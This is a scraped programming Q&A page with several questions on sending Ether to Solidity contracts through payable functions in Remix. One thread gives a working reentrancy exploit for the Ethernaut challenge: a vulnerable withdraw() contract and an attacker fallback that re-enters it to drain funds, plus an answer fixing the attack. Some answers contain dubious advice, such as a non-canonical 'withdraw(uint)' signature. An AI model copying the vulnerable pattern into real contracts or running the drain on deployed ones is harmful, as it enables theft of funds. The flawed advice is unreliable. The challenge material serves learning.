Solidity: Call Deposit function with value - ethereum

I have a deposit smart contract (Bank) below. I can use remix entering the value and calling the Deposit function.
How can i write a smart contract to do the same (Sender) below. I tried adding the interface but I cant seem to add a value when i call the sendDeposit
//// Bank Smart Contract
pragma solidity ^0.8.0;
contract bank {
uint256 public amountIn;
function deposit() external payable returns(uint256) {
amountIn = msg.value ;
return amountIn;
}
}
///// SENDER Contract
pragma solidity ^0.8.0;
interface Receiver {
function deposit() external payable returns(uint256);
}
contract sender {
Receiver private receiver = Receiver(0x0fC5022f7B5c4Df39A836);
function sendDeposit(uint256 _amount) public payable {
receiver.deposit{value: _amount}();
}
receive() external payable {
require(msg.value > 0, "You cannot send 0 ether");
}
}
I tried writing it like this, but there is no value in the transaction send
function sendDeposit(uint256 _amount) public payable { receiver.deposit{value: _amount}(); }

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Bank {
uint256 public amountIn;
function deposit() external payable returns(uint256) {
amountIn = msg.value ;
return amountIn;
}
// receive() external payable{}
function getBalance() public view returns(uint){
return address(this).balance;
}
}
interface Receiver {
function deposit() external payable returns(uint256);
}
contract Sender {
Receiver private receiver ;
constructor(address _receiver){
receiver=Receiver(_receiver);
}
function sendDeposit(uint256 _amount) public payable {
receiver.deposit{value: _amount}();
}
receive() external payable {
require(msg.value > 0, "You cannot send 0 ether");
}
}
1- Deploy the Bank contract first and copy the address
2- Deploy the Sender contract, passing the copied Bank contract
3- call sendDeposit from Sender contract, you need to pass same amout to function input and value input which is under the "Gas limit" input
4- transaction will be succcessful. call the getBalance from Bank contract

Related

Solidity transaction error: The called function should be payable if you send value and the value you send should be less than your current balance

I'm trying to send some Ether between contracts but I'm getting this error:
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.
My contract:
contract test {
address public owner;
address payable public receiverContract;
constructor(address payable _receiverContract) payable{
receiverContract = _receiverContract;
owner = msg.sender;
}
function sendEther() public payable {
receiverContract.transfer(msg.value);
}
receive() external payable {
}
}
The receiver contract also has a receive() external payable function and I'm getting the error when calling sendEther() with some Ethers and after seeding the test contract with some Ethers
The message indicate that you should add a requirement to test if the user actually have the Ether he is trying to send to the contract.
address public owner;
address payable public receiverContract;
constructor(address payable _receiverContract) payable{
receiverContract = _receiverContract;
owner = msg.sender;
}
function sendEther() public payable {
require(address(this).balance > msg.value, "Not enough funds" );
receiverContract.transfer(msg.value);
}
receive() external payable {
}
} ```

Reentrancy attack implementation

I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.

Despite using the receive() function, my contract is not receiving payment in Remix

I am writing a smart contract in Remix with Solidity. The purpose of the contract is to allow a user to mint an NFT for 1 ETH. At present, the user is able to mint and the contract accepts the payment (ie. the user's balance is properly subtracted). But when I check the address(this).balance of the contract with my accountBalance() function, the function returns 0. I have included the receive() function as per the Solidity docs:
event Received(address, uint);
receive() external payable {
emit Received(msg.sender, msg.value);
}
Can someone explain why this is happening and what I need to change about my contract? Here is my contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// imports
import '#openzeppelin/contracts/token/ERC721/ERC721.sol';
import '#openzeppelin/contracts/access/Ownable.sol';
import '#openzeppelin/contracts/security/PullPayment.sol';
// contract
contract RobocopPoster is ERC721, Ownable, PullPayment {
// constants
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public mintEnabled;
mapping (address => uint256) public walletMints;
// constructor
// initialize variables
constructor() payable ERC721('RobocopPoster', 'SFFPC') {
mintPrice = 1 ether;
totalSupply = 0;
maxSupply = 1000;
maxPerWallet = 3;
}
event Received(address, uint);
receive() external payable {
emit Received(msg.sender, msg.value);
}
// functions
function setMintEnabled(bool mintEnabled_) external onlyOwner {
mintEnabled = mintEnabled_;
}
function withdrawPayments(address payable payee) public override onlyOwner virtual {
super.withdrawPayments(payee);
}
function accountBalance() public view returns (uint256) {
return (address(this).balance);
}
function mint(uint256 quantity_) public payable {
require(mintEnabled, 'Minting not enabled.');
require(msg.value == quantity_ * mintPrice, 'wrong mint value');
require(totalSupply + quantity_ <= maxSupply, 'sold out');
require(walletMints[msg.sender] + quantity_ <= maxPerWallet, 'exceed max wallet');
walletMints[msg.sender] += quantity_;
_asyncTransfer(address(this), msg.value);
for (uint i = 0; i < quantity_; i++) {
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
}
You need to call withdrawPayments to receive the fund, because _asyncTransfer from PullPayment in your contract minting sent the fund to the escrow contract. That's why you saw zero balance in ERC721 contract.

How do I change the msg.value for my smart contract?

I am trying to make a simple contract that can display your wallet balance and send ether to another wallet in Remix IDE. I want a user to be able to change the msg.value, how do I do that in Remix besides the Value in "deploy & run transactions" menu? Thanks
pragma solidity >=0.4.22 <0.9.0;
contract Ethereum {
address private owner = msg.sender;
constructor() {
}
function getBalance() public view returns (uint256) {
return owner.balance;
}
function sendViaCall(address payable _to) public payable {
(bool sent, bytes memory data) = _to.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}
}

How to send ether from eoa to contract

I need to send ether from externally owned account to contract.
All code I found so far looks like this
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
But I can not understand how does it work. I thought it should look like this: we should run some send function which will take current contract address, sender address and amount.
Can someone explain me the logic behind it?
I also found the solution which correspond to this logic
contract Contract {
function pay() payable {}
}
and than call it from console like that
var contract
Contract.deployed().then(function(instance) { contract = instance; })
contract.pay.sendTransaction({from: eoa_address,to: contract_address,value: web3.toWei(amount,"ether"), gas:1000000})
But in this case sendTransaction function called outside of contact.
Is there any way of calling it like from this perspective inside contract?
to send Ether to a contract :
we could create a payable function if we need to pay to execute this function
contract Contract {
function do_somthing() payable {
action1
action2
...
}
}
if we want to just send ethers to the contract without executing any function we define the fallback function as you presented in your question :
contract Contract {
function pay() payable {}
}
the example you have provided before :
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
is recording the balances sent by the users to the contract (this function needs to be declared as payable for the recent compiler : function deposit() public payable returns)
function deposit() public payable returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}